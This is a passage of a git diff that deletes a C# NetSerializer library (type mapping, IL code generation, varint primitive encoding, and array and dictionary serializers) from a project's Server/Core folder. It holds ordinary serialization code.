GetWindowThreadProcessId copies the identifier of the process to the variable; otherwise, it does not. - /// - /// The return value is the identifier of the thread that created the window. - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern int GetWindowThreadProcessId(IntPtr handle, out int processId); - } -} \ No newline at end of file diff --git a/Server/Core/NetSerializer/CodeGenContext.cs b/Server/Core/NetSerializer/CodeGenContext.cs deleted file mode 100644 index b7b6ea489..000000000 --- a/Server/Core/NetSerializer/CodeGenContext.cs +++ /dev/null @@ -1,110 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Reflection; - -namespace xServer.Core.NetSerializer -{ - public sealed class TypeData - { - public TypeData(ushort typeID, IDynamicTypeSerializer serializer) - { - this.TypeID = typeID; - this.TypeSerializer = serializer; - - this.NeedsInstanceParameter = true; - } - - public TypeData(ushort typeID, MethodInfo writer, MethodInfo reader) - { - this.TypeID = typeID; - this.WriterMethodInfo = writer; - this.ReaderMethodInfo = reader; - - this.NeedsInstanceParameter = writer.GetParameters().Length == 3; - } - - public readonly ushort TypeID; - public bool IsGenerated { get { return this.TypeSerializer != null; } } - public readonly IDynamicTypeSerializer TypeSerializer; - public MethodInfo WriterMethodInfo; - public MethodInfo ReaderMethodInfo; - - public bool NeedsInstanceParameter { get; private set; } - } - - public sealed class CodeGenContext - { - readonly Dictionary m_typeMap; - - public CodeGenContext(Dictionary typeMap) - { - m_typeMap = typeMap; - - var td = m_typeMap[typeof(object)]; - this.SerializerSwitchMethodInfo = td.WriterMethodInfo; - this.DeserializerSwitchMethodInfo = td.ReaderMethodInfo; - } - - public MethodInfo SerializerSwitchMethodInfo { get; private set; } - public MethodInfo DeserializerSwitchMethodInfo { get; private set; } - - public MethodInfo GetWriterMethodInfo(Type type) - { - return m_typeMap[type].WriterMethodInfo; - } - - public MethodInfo GetReaderMethodInfo(Type type) - { - return m_typeMap[type].ReaderMethodInfo; - } - - public bool IsGenerated(Type type) - { - return m_typeMap[type].IsGenerated; - } - - public IDictionary TypeMap { get { return m_typeMap; } } - - bool CanCallDirect(Type type) - { - // We can call the (De)serializer method directly for: - // - Value types - // - Array types - // - Sealed types with static (De)serializer method, as the method will handle null - // Other reference types go through the (De)serializerSwitch - - bool direct; - - if (type.IsValueType || type.IsArray) - direct = true; - else if (type.IsSealed && IsGenerated(type) == false) - direct = true; - else - direct = false; - - return direct; - } - - public TypeData GetTypeData(Type type) - { - return m_typeMap[type]; - } - - public TypeData GetTypeDataForCall(Type type) - { - bool direct = CanCallDirect(type); - if (!direct) - type = typeof(object); - - return GetTypeData(type); - } - } -} diff --git a/Server/Core/NetSerializer/Helpers.cs b/Server/Core/NetSerializer/Helpers.cs deleted file mode 100644 index fc77929ed..000000000 --- a/Server/Core/NetSerializer/Helpers.cs +++ /dev/null @@ -1,89 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Reflection; -using System.Reflection.Emit; - -namespace xServer.Core.NetSerializer -{ - static class Helpers - { - public static readonly ConstructorInfo ExceptionCtorInfo = typeof(Exception).GetConstructor(BindingFlags.Public | BindingFlags.Instance, null, new Type[0], null); - - public static IEnumerable GetFieldInfos(Type type) - { - Debug.Assert(type.IsSerializable); - - var fields = type.GetFields(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.DeclaredOnly) - .Where(fi => (fi.Attributes & FieldAttributes.NotSerialized) == 0) - .OrderBy(f => f.Name, StringComparer.Ordinal); - - if (type.BaseType == null) - { - return fields; - } - else - { - var baseFields = GetFieldInfos(type.BaseType); - return baseFields.Concat(fields); - } - } - - public static DynamicMethod GenerateDynamicSerializerStub(Type type) - { - var dm = new DynamicMethod("Serialize", null, - new Type[] { typeof(Serializer), typeof(Stream), type }, - typeof(Serializer), true); - - dm.DefineParameter(1, ParameterAttributes.None, "serializer"); - dm.DefineParameter(2, ParameterAttributes.None, "stream"); - dm.DefineParameter(3, ParameterAttributes.None, "value"); - - return dm; - } - - public static DynamicMethod GenerateDynamicDeserializerStub(Type type) - { - var dm = new DynamicMethod("Deserialize", null, - new Type[] { typeof(Serializer), typeof(Stream), type.MakeByRefType() }, - typeof(Serializer), true); - dm.DefineParameter(1, ParameterAttributes.None, "serializer"); - dm.DefineParameter(2, ParameterAttributes.None, "stream"); - dm.DefineParameter(3, ParameterAttributes.Out, "value"); - - return dm; - } - -#if GENERATE_DEBUGGING_ASSEMBLY - public static MethodBuilder GenerateStaticSerializerStub(TypeBuilder tb, Type type) - { - var mb = tb.DefineMethod("Serialize", MethodAttributes.Public | MethodAttributes.Static, null, - new Type[] { typeof(Serializer), typeof(Stream), type }); - mb.DefineParameter(1, ParameterAttributes.None, "serializer"); - mb.DefineParameter(2, ParameterAttributes.None, "stream"); - mb.DefineParameter(3, ParameterAttributes.None, "value"); - return mb; - } - - public static MethodBuilder GenerateStaticDeserializerStub(TypeBuilder tb, Type type) - { - var mb = tb.DefineMethod("Deserialize", MethodAttributes.Public | MethodAttributes.Static, null, - new Type[] { typeof(Serializer), typeof(Stream), type.MakeByRefType() }); - mb.DefineParameter(1, ParameterAttributes.None, "serializer"); - mb.DefineParameter(2, ParameterAttributes.None, "stream"); - mb.DefineParameter(3, ParameterAttributes.Out, "value"); - return mb; - } -#endif - } -} diff --git a/Server/Core/NetSerializer/ITypeSerializer.cs b/Server/Core/NetSerializer/ITypeSerializer.cs deleted file mode 100644 index f24b53121..000000000 --- a/Server/Core/NetSerializer/ITypeSerializer.cs +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Reflection; -using System.Reflection.Emit; - -namespace xServer.Core.NetSerializer -{ - public interface ITypeSerializer - { - /// - /// Returns if this TypeSerializer handles the given type - /// - bool Handles(Type type); - - /// - /// Return types that are needed to serialize the given type - /// - IEnumerable GetSubtypes(Type type); - } - - public interface IStaticTypeSerializer : ITypeSerializer - { - /// - /// Get static methods used to serialize and deserialize the given type - /// - void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader); - } - - public interface IDynamicTypeSerializer : ITypeSerializer - { - /// - /// Generate code to serialize the given type - /// - void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il); - - /// - /// Generate code to deserialize the given type - /// - void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il); - } -} diff --git a/Server/Core/NetSerializer/Primitives.cs b/Server/Core/NetSerializer/Primitives.cs deleted file mode 100644 index 77b257db0..000000000 --- a/Server/Core/NetSerializer/Primitives.cs +++ /dev/null @@ -1,521 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.IO; -using System.Reflection; -using System.Text; - -namespace xServer.Core.NetSerializer -{ - public static class Primitives - { - public static MethodInfo GetWritePrimitive(Type type) - { - return typeof(Primitives).GetMethod("WritePrimitive", - BindingFlags.Static | BindingFlags.Public | BindingFlags.ExactBinding, null, - new Type[] { typeof(Stream), type }, null); - } - - public static MethodInfo GetReaderPrimitive(Type type) - { - return typeof(Primitives).GetMethod("ReadPrimitive", - BindingFlags.Static | BindingFlags.Public | BindingFlags.ExactBinding, null, - new Type[] { typeof(Stream), type.MakeByRefType() }, null); - } - - static uint EncodeZigZag32(int n) - { - return (uint)((n << 1) ^ (n >> 31)); - } - - static ulong EncodeZigZag64(long n) - { - return (ulong)((n << 1) ^ (n >> 63)); - } - - static int DecodeZigZag32(uint n) - { - return (int)(n >> 1) ^ -(int)(n & 1); - } - - static long DecodeZigZag64(ulong n) - { - return (long)(n >> 1) ^ -(long)(n & 1); - } - - static uint ReadVarint32(Stream stream) - { - int result = 0; - int offset = 0; - - for (; offset < 32; offset += 7) - { - int b = stream.ReadByte(); - if (b == -1) - throw new EndOfStreamException(); - - result |= (b & 0x7f) << offset; - - if ((b & 0x80) == 0) - return (uint)result; - } - - throw new InvalidDataException(); - } - - static void WriteVarint32(Stream stream, uint value) - { - for (; value >= 0x80u; value >>= 7) - stream.WriteByte((byte)(value | 0x80u)); - - stream.WriteByte((byte)value); - } - - static ulong ReadVarint64(Stream stream) - { - long result = 0; - int offset = 0; - - for (; offset < 64; offset += 7) - { - int b = stream.ReadByte(); - if (b == -1) - throw new EndOfStreamException(); - - result |= ((long)(b & 0x7f)) << offset; - - if ((b & 0x80) == 0) - return (ulong)result; - } - - throw new InvalidDataException(); - } - - static void WriteVarint64(Stream stream, ulong value) - { - for (; value >= 0x80u; value >>= 7) - stream.WriteByte((byte)(value | 0x80u)); - - stream.WriteByte((byte)value); - } - - - public static void WritePrimitive(Stream stream, bool value) - { - stream.WriteByte(value ? (byte)1 : (byte)0); - } - - public static void ReadPrimitive(Stream stream, out bool value) - { - var b = stream.ReadByte(); - value = b != 0; - } - - public static void WritePrimitive(Stream stream, byte value) - { - stream.WriteByte(value); - } - - public static void ReadPrimitive(Stream stream, out byte value) - { - value = (byte)stream.ReadByte(); - } - - public static void WritePrimitive(Stream stream, sbyte value) - { - stream.WriteByte((byte)value); - } - - public static void ReadPrimitive(Stream stream, out sbyte value) - { - value = (sbyte)stream.ReadByte(); - } - - public static void WritePrimitive(Stream stream, char value) - { - WriteVarint32(stream, value); - } - - public static void ReadPrimitive(Stream stream, out char value) - { - value = (char)ReadVarint32(stream); - } - - public static void WritePrimitive(Stream stream, ushort value) - { - WriteVarint32(stream, value); - } - - public static void ReadPrimitive(Stream stream, out ushort value) - { - value = (ushort)ReadVarint32(stream); - } - - public static void WritePrimitive(Stream stream, short value) - { - WriteVarint32(stream, EncodeZigZag32(value)); - } - - public static void ReadPrimitive(Stream stream, out short value) - { - value = (short)DecodeZigZag32(ReadVarint32(stream)); - } - - public static void WritePrimitive(Stream stream, uint value) - { - WriteVarint32(stream, value); - } - - public static void ReadPrimitive(Stream stream, out uint value) - { - value = ReadVarint32(stream); - } - - public static void WritePrimitive(Stream stream, int value) - { - WriteVarint32(stream, EncodeZigZag32(value)); - } - - public static void ReadPrimitive(Stream stream, out int value) - { - value = DecodeZigZag32(ReadVarint32(stream)); - } - - public static void WritePrimitive(Stream stream, ulong value) - { - WriteVarint64(stream, value); - } - - public static void ReadPrimitive(Stream stream, out ulong value) - { - value = ReadVarint64(stream); - } - - public static void WritePrimitive(Stream stream, long value) - { - WriteVarint64(stream, EncodeZigZag64(value)); - } - - public static void ReadPrimitive(Stream stream, out long value) - { - value = DecodeZigZag64(ReadVarint64(stream)); - } - -#if !NO_UNSAFE - public static unsafe void WritePrimitive(Stream stream, float value) - { - uint v = *(uint*)(&value); - WriteVarint32(stream, v); - } - - public static unsafe void ReadPrimitive(Stream stream, out float value) - { - uint v = ReadVarint32(stream); - value = *(float*)(&v); - } - - public static unsafe void WritePrimitive(Stream stream, double value) - { - ulong v = *(ulong*)(&value); - WriteVarint64(stream, v); - } - - public static unsafe void ReadPrimitive(Stream stream, out double value) - { - ulong v = ReadVarint64(stream); - value = *(double*)(&v); - } -#else - public static void WritePrimitive(Stream stream, float value) - { - WritePrimitive(stream, (double)value); - } - - public static void ReadPrimitive(Stream stream, out float value) - { - double v; - ReadPrimitive(stream, out v); - value = (float)v; - } - - public static void WritePrimitive(Stream stream, double value) - { - ulong v = (ulong)BitConverter.DoubleToInt64Bits(value); - WriteVarint64(stream, v); - } - - public static void ReadPrimitive(Stream stream, out double value) - { - ulong v = ReadVarint64(stream); - value = BitConverter.Int64BitsToDouble((long)v); - } -#endif - - public static void WritePrimitive(Stream stream, DateTime value) - { - long v = value.ToBinary(); - WritePrimitive(stream, v); - } - - public static void ReadPrimitive(Stream stream, out DateTime value) - { - long v; - ReadPrimitive(stream, out v); - value = DateTime.FromBinary(v); - } - -#if NO_UNSAFE - public static void WritePrimitive(Stream stream, string value) - { - if (value == null) - { - WritePrimitive(stream, (uint)0); - return; - } - - var encoding = new UTF8Encoding(false, true); - - int len = encoding.GetByteCount(value); - - WritePrimitive(stream, (uint)len + 1); - - var buf = new byte[len]; - - encoding.GetBytes(value, 0, value.Length, buf, 0); - - stream.Write(buf, 0, len); - } - - public static void ReadPrimitive(Stream stream, out string value) - { - uint len; - ReadPrimitive(stream, out len); - - if (len == 0) - { - value = null; - return; - } - else if (len == 1) - { - value = string.Empty; - return; - } - - len -= 1; - - var encoding = new UTF8Encoding(false, true); - - var buf = new byte[len]; - - int l = 0; - - while (l < len) - { - int r = stream.Read(buf, l, (int)len - l); - if (r == 0) - throw new EndOfStreamException(); - l += r; - } - - value = encoding.GetString(buf); - } -#else - sealed class StringHelper - { - public StringHelper() - { - this.Encoding = new UTF8Encoding(false, true); - } - - public const int BYTEBUFFERLEN = 256; - public const int CHARBUFFERLEN = 128; - - Encoder m_encoder; - Decoder m_decoder; - - byte[] m_byteBuffer; - char[] m_charBuffer; - - public UTF8Encoding Encoding { get; private set; } - public Encoder Encoder { get { if (m_encoder == null) m_encoder = this.Encoding.GetEncoder(); return m_encoder; } } - public Decoder Decoder { get { if (m_decoder == null) m_decoder = this.Encoding.GetDecoder(); return m_decoder; } } - - public byte[] ByteBuffer { get { if (m_byteBuffer == null) m_byteBuffer = new byte[BYTEBUFFERLEN]; return m_byteBuffer; } } - public char[] CharBuffer { get { if (m_charBuffer == null) m_charBuffer = new char[CHARBUFFERLEN]; return m_charBuffer; } } - } - - [ThreadStatic] - static StringHelper s_stringHelper; - - public unsafe static void WritePrimitive(Stream stream, string value) - { - if (value == null) - { - WritePrimitive(stream, (uint)0); - return; - } - else if (value.Length == 0) - { - WritePrimitive(stream, (uint)1); - return; - } - - var helper = s_stringHelper; - if (helper == null) - s_stringHelper = helper = new StringHelper(); - - var encoder = helper.Encoder; - var buf = helper.ByteBuffer; - - int totalChars = value.Length; - int totalBytes; - - fixed (char* ptr = value) - totalBytes = encoder.GetByteCount(ptr, totalChars, true); - - WritePrimitive(stream, (uint)totalBytes + 1); - WritePrimitive(stream, (uint)totalChars); - - int p = 0; - bool completed = false; - - while (completed == false) - { - int charsConverted; - int bytesConverted; - - fixed (char* src = value) - fixed (byte* dst = buf) - { - encoder.Convert(src + p, totalChars - p, dst, buf.Length, true, - out charsConverted, out bytesConverted, out completed); - } - - stream.Write(buf, 0, bytesConverted); - - p += charsConverted; - } - } - - public static void ReadPrimitive(Stream stream, out string value) - { - uint totalBytes; - ReadPrimitive(stream, out totalBytes); - - if (totalBytes == 0) - { - value = null; - return; - } - else if (totalBytes == 1) - { - value = string.Empty; - return; - } - - totalBytes -= 1; - - uint totalChars; - ReadPrimitive(stream, out totalChars); - - var helper = s_stringHelper; - if (helper == null) - s_stringHelper = helper = new StringHelper(); - - var decoder = helper.Decoder; - var buf = helper.ByteBuffer; - char[] chars; - if (totalChars <= StringHelper.CHARBUFFERLEN) - chars = helper.CharBuffer; - else - chars = new char[totalChars]; - - int streamBytesLeft = (int)totalBytes; - - int cp = 0; - - while (streamBytesLeft > 0) - { - int bytesInBuffer = stream.Read(buf, 0, Math.Min(buf.Length, streamBytesLeft)); - if (bytesInBuffer == 0) - throw new EndOfStreamException(); - - streamBytesLeft -= bytesInBuffer; - bool flush = streamBytesLeft == 0 ? true : false; - - bool completed = false; - - int p = 0; - - while (completed == false) - { - int charsConverted; - int bytesConverted; - - decoder.Convert(buf, p, bytesInBuffer - p, - chars, cp, (int)totalChars - cp, - flush, - out bytesConverted, out charsConverted, out completed); - - p += bytesConverted; - cp += charsConverted; - } - } - - value = new string(chars, 0, (int)totalChars); - } -#endif - - public static void WritePrimitive(Stream stream, byte[] value) - { - if (value == null) - { - WritePrimitive(stream, (uint)0); - return; - } - - WritePrimitive(stream, (uint)value.Length + 1); - - stream.Write(value, 0, value.Length); - } - - static readonly byte[] s_emptyByteArray = new byte[0]; - - public static void ReadPrimitive(Stream stream, out byte[] value) - { - uint len; - ReadPrimitive(stream, out len); - - if (len == 0) - { - value = null; - return; - } - else if (len == 1) - { - value = s_emptyByteArray; - return; - } - - len -= 1; - - value = new byte[len]; - int l = 0; - - while (l < len) - { - int r = stream.Read(value, l, (int)len - l); - if (r == 0) - throw new EndOfStreamException(); - l += r; - } - } - } -} diff --git a/Server/Core/NetSerializer/Serializer.cs b/Server/Core/NetSerializer/Serializer.cs deleted file mode 100644 index c5692e146..000000000 --- a/Server/Core/NetSerializer/Serializer.cs +++ /dev/null @@ -1,254 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Reflection; -using System.Reflection.Emit; -using xServer.Core.NetSerializer.TypeSerializers; - -namespace xServer.Core.NetSerializer -{ - public class Serializer - { - Dictionary m_typeIDMap; - - delegate void SerializerSwitch(Serializer serializer, Stream stream, object ob); - delegate void DeserializerSwitch(Serializer serializer, Stream stream, out object ob); - - SerializerSwitch m_serializerSwitch; - DeserializerSwitch m_deserializerSwitch; - - static ITypeSerializer[] s_typeSerializers = new ITypeSerializer[] { - new ObjectSerializer(), - new PrimitivesSerializer(), - new ArraySerializer(), - new EnumSerializer(), - new DictionarySerializer(), - new GenericSerializer(), - }; - - ITypeSerializer[] m_userTypeSerializers; - - /// - /// Initialize NetSerializer - /// - /// Types to be (de)serialized - public Serializer(IEnumerable rootTypes) - : this(rootTypes, new ITypeSerializer[0]) - { - } - - /// - /// Initialize NetSerializer - /// - /// Types to be (de)serialized - /// Array of custom serializers - public Serializer(IEnumerable rootTypes, ITypeSerializer[] userTypeSerializers) - { - if (userTypeSerializers.All(s => s is IDynamicTypeSerializer || s is IStaticTypeSerializer) == false) - throw new ArgumentException("TypeSerializers have to implement IDynamicTypeSerializer or IStaticTypeSerializer"); - - m_userTypeSerializers = userTypeSerializers; - - var typeDataMap = GenerateTypeData(rootTypes); - - GenerateDynamic(typeDataMap); - - m_typeIDMap = typeDataMap.ToDictionary(kvp => kvp.Key, kvp => kvp.Value.TypeID); - -#if GENERATE_DEBUGGING_ASSEMBLY - // Note: GenerateDebugAssembly overwrites some fields from typeDataMap - GenerateDebugAssembly(typeDataMap); -#endif - } - - public void Serialize(Stream stream, object data) - { - m_serializerSwitch(this, stream, data); - } - - public object Deserialize(Stream stream) - { - object o; - m_deserializerSwitch(this, stream, out o); - return o; - } - - Dictionary GenerateTypeData(IEnumerable rootTypes) - { - var map = new Dictionary(); - var stack = new Stack(PrimitivesSerializer.GetSupportedTypes().Concat(rootTypes)); - - stack.Push(typeof(object)); - - // TypeID 0 is reserved for null - ushort typeID = 1; - - while (stack.Count > 0) - { - var type = stack.Pop(); - - if (map.ContainsKey(type)) - continue; - - if (type.IsAbstract || type.IsInterface) - continue; - - if (type.ContainsGenericParameters) - throw new NotSupportedException(String.Format("Type {0} contains generic parameters", type.FullName)); - - var serializer = m_userTypeSerializers.FirstOrDefault(h => h.Handles(type)); - - if (serializer == null) - serializer = s_typeSerializers.FirstOrDefault(h => h.Handles(type)); - - if (serializer == null) - throw new NotSupportedException(String.Format("No serializer for {0}", type.FullName)); - - foreach (var t in serializer.GetSubtypes(type)) - stack.Push(t); - - TypeData typeData; - - if (serializer is IStaticTypeSerializer) - { - var sts = (IStaticTypeSerializer)serializer; - - MethodInfo writer; - MethodInfo reader; - - sts.GetStaticMethods(type, out writer, out reader); - - Debug.Assert(writer != null && reader != null); - - typeData = new TypeData(typeID++, writer, reader); - - } - else if (serializer is IDynamicTypeSerializer) - { - var dts = (IDynamicTypeSerializer)serializer; - - typeData = new TypeData(typeID++, dts); - } - else - { - throw new Exception(); - } - - map[type] = typeData; - } - - return map; - } - - void GenerateDynamic(Dictionary map) - { - /* generate stubs */ - foreach (var kvp in map) - { - var type = kvp.Key; - var td = kvp.Value; - - if (!td.IsGenerated) - continue; - - td.WriterMethodInfo = Helpers.GenerateDynamicSerializerStub(type); - td.ReaderMethodInfo = Helpers.GenerateDynamicDeserializerStub(type); - } - - var ctx = new CodeGenContext(map); - - /* generate bodies */ - - foreach (var kvp in map) - { - var type = kvp.Key; - var td = kvp.Value; - - if (!td.IsGenerated) - continue; - - var writerDm = (DynamicMethod)td.WriterMethodInfo; - td.TypeSerializer.GenerateWriterMethod(type, ctx, writerDm.GetILGenerator()); - - var readerDm = (DynamicMethod)td.ReaderMethodInfo; - td.TypeSerializer.GenerateReaderMethod(type, ctx, readerDm.GetILGenerator()); - } - - var writer = (DynamicMethod)ctx.GetWriterMethodInfo(typeof(object)); - var reader = (DynamicMethod)ctx.GetReaderMethodInfo(typeof(object)); - - m_serializerSwitch = (SerializerSwitch)writer.CreateDelegate(typeof(SerializerSwitch)); - m_deserializerSwitch = (DeserializerSwitch)reader.CreateDelegate(typeof(DeserializerSwitch)); - } - -#if GENERATE_DEBUGGING_ASSEMBLY - static void GenerateDebugAssembly(Dictionary map) - { - var ab = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("NetSerializerDebug"), AssemblyBuilderAccess.RunAndSave); - var modb = ab.DefineDynamicModule("NetSerializerDebug.dll"); - var tb = modb.DefineType("NetSerializer", TypeAttributes.Public); - - /* generate stubs */ - foreach (var kvp in map) - { - var type = kvp.Key; - var td = kvp.Value; - - if (!td.IsGenerated) - continue; - - td.WriterMethodInfo = Helpers.GenerateStaticSerializerStub(tb, type); - td.ReaderMethodInfo = Helpers.GenerateStaticDeserializerStub(tb, type); - } - - var ctx = new CodeGenContext(map); - - /* generate bodies */ - - foreach (var kvp in map) - { - var type = kvp.Key; - var td = kvp.Value; - - if (!td.IsGenerated) - continue; - - var writerMb = (MethodBuilder)td.WriterMethodInfo; - td.TypeSerializer.GenerateWriterMethod(type, ctx, writerMb.GetILGenerator()); - - var readerMb = (MethodBuilder)td.ReaderMethodInfo; - td.TypeSerializer.GenerateReaderMethod(type, ctx, readerMb.GetILGenerator()); - } - - tb.CreateType(); - ab.Save("NetSerializerDebug.dll"); - } -#endif - - /* called from the dynamically generated code */ - ushort GetTypeID(object ob) - { - ushort id; - - if (ob == null) - return 0; - - var type = ob.GetType(); - - if (m_typeIDMap.TryGetValue(type, out id) == false) - throw new InvalidOperationException(String.Format("Unknown type {0}", type.FullName)); - - return id; - } - } -} diff --git a/Server/Core/NetSerializer/TypeSerializers/ArraySerializer.cs b/Server/Core/NetSerializer/TypeSerializers/ArraySerializer.cs deleted file mode 100644 index 39d8fef10..000000000 --- a/Server/Core/NetSerializer/TypeSerializers/ArraySerializer.cs +++ /dev/null @@ -1,193 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Reflection.Emit; - -namespace xServer.Core.NetSerializer.TypeSerializers -{ - class ArraySerializer : IDynamicTypeSerializer - { - public bool Handles(Type type) - { - if (!type.IsArray) - return false; - - if (type.GetArrayRank() != 1) - throw new NotSupportedException(String.Format("Multi-dim arrays not supported: {0}", type.FullName)); - - return true; - } - - public IEnumerable GetSubtypes(Type type) - { - yield return type.GetElementType(); - } - - public void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il) - { - var elemType = type.GetElementType(); - - var notNullLabel = il.DefineLabel(); - - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Brtrue_S, notNullLabel); - - // if value == null, write 0 - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldc_I4_0); - il.Emit(OpCodes.Tailcall); - il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(uint))); - il.Emit(OpCodes.Ret); - - il.MarkLabel(notNullLabel); - - // write array len + 1 - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldlen); - il.Emit(OpCodes.Ldc_I4_1); - il.Emit(OpCodes.Add); - il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(uint))); - - // declare i - var idxLocal = il.DeclareLocal(typeof(int)); - - // i = 0 - il.Emit(OpCodes.Ldc_I4_0); - il.Emit(OpCodes.Stloc_S, idxLocal); - - var loopBodyLabel = il.DefineLabel(); - var loopCheckLabel = il.DefineLabel(); - - il.Emit(OpCodes.Br_S, loopCheckLabel); - - // loop body - il.MarkLabel(loopBodyLabel); - - var data = ctx.GetTypeDataForCall(elemType); - - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - // write element at index i - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldelem, elemType); - - il.Emit(OpCodes.Call, data.WriterMethodInfo); - - // i = i + 1 - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldc_I4_1); - il.Emit(OpCodes.Add); - il.Emit(OpCodes.Stloc_S, idxLocal); - - il.MarkLabel(loopCheckLabel); - - // loop condition - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldlen); - il.Emit(OpCodes.Conv_I4); - il.Emit(OpCodes.Clt); - il.Emit(OpCodes.Brtrue_S, loopBodyLabel); - - il.Emit(OpCodes.Ret); - } - - public void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il) - { - var elemType = type.GetElementType(); - - var lenLocal = il.DeclareLocal(typeof(uint)); - - // read array len - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldloca_S, lenLocal); - il.Emit(OpCodes.Call, ctx.GetReaderMethodInfo(typeof(uint))); - - var notNullLabel = il.DefineLabel(); - - /* if len == 0, return null */ - il.Emit(OpCodes.Ldloc_S, lenLocal); - il.Emit(OpCodes.Brtrue_S, notNullLabel); - - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldnull); - il.Emit(OpCodes.Stind_Ref); - il.Emit(OpCodes.Ret); - - il.MarkLabel(notNullLabel); - - var arrLocal = il.DeclareLocal(type); - - // create new array with len - 1 - il.Emit(OpCodes.Ldloc_S, lenLocal); - il.Emit(OpCodes.Ldc_I4_1); - il.Emit(OpCodes.Sub); - il.Emit(OpCodes.Newarr, elemType); - il.Emit(OpCodes.Stloc_S, arrLocal); - - // declare i - var idxLocal = il.DeclareLocal(typeof(int)); - - // i = 0 - il.Emit(OpCodes.Ldc_I4_0); - il.Emit(OpCodes.Stloc_S, idxLocal); - - var loopBodyLabel = il.DefineLabel(); - var loopCheckLabel = il.DefineLabel(); - - il.Emit(OpCodes.Br_S, loopCheckLabel); - - // loop body - il.MarkLabel(loopBodyLabel); - - // read element to arr[i] - - var data = ctx.GetTypeDataForCall(elemType); - - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldloc_S, arrLocal); - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldelema, elemType); - - il.Emit(OpCodes.Call, data.ReaderMethodInfo); - - // i = i + 1 - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldc_I4_1); - il.Emit(OpCodes.Add); - il.Emit(OpCodes.Stloc_S, idxLocal); - - il.MarkLabel(loopCheckLabel); - - // loop condition - il.Emit(OpCodes.Ldloc_S, idxLocal); - il.Emit(OpCodes.Ldloc_S, arrLocal); - il.Emit(OpCodes.Ldlen); - il.Emit(OpCodes.Conv_I4); - il.Emit(OpCodes.Clt); - il.Emit(OpCodes.Brtrue_S, loopBodyLabel); - - - // store new array to the out value - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldloc_S, arrLocal); - il.Emit(OpCodes.Stind_Ref); - - il.Emit(OpCodes.Ret); - } - } -} diff --git a/Server/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs b/Server/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs deleted file mode 100644 index 63b974428..000000000 --- a/Server/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs +++ /dev/null @@ -1,147 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Reflection; - -namespace xServer.Core.NetSerializer.TypeSerializers -{ - public class DictionarySerializer : IStaticTypeSerializer - { - public bool Handles(Type type) - { - if (!type.IsGenericType) - return false; - - var genTypeDef = type.GetGenericTypeDefinition(); - - return genTypeDef == typeof(Dictionary<,>); - } - - public IEnumerable GetSubtypes(Type type) - { - // Dictionary is stored as KeyValuePair[] - - var genArgs = type.GetGenericArguments(); - - var serializedType = typeof(KeyValuePair<,>).MakeGenericType(genArgs).MakeArrayType(); - - yield return serializedType; - } - - public void GetStaticMethods(Type type, out 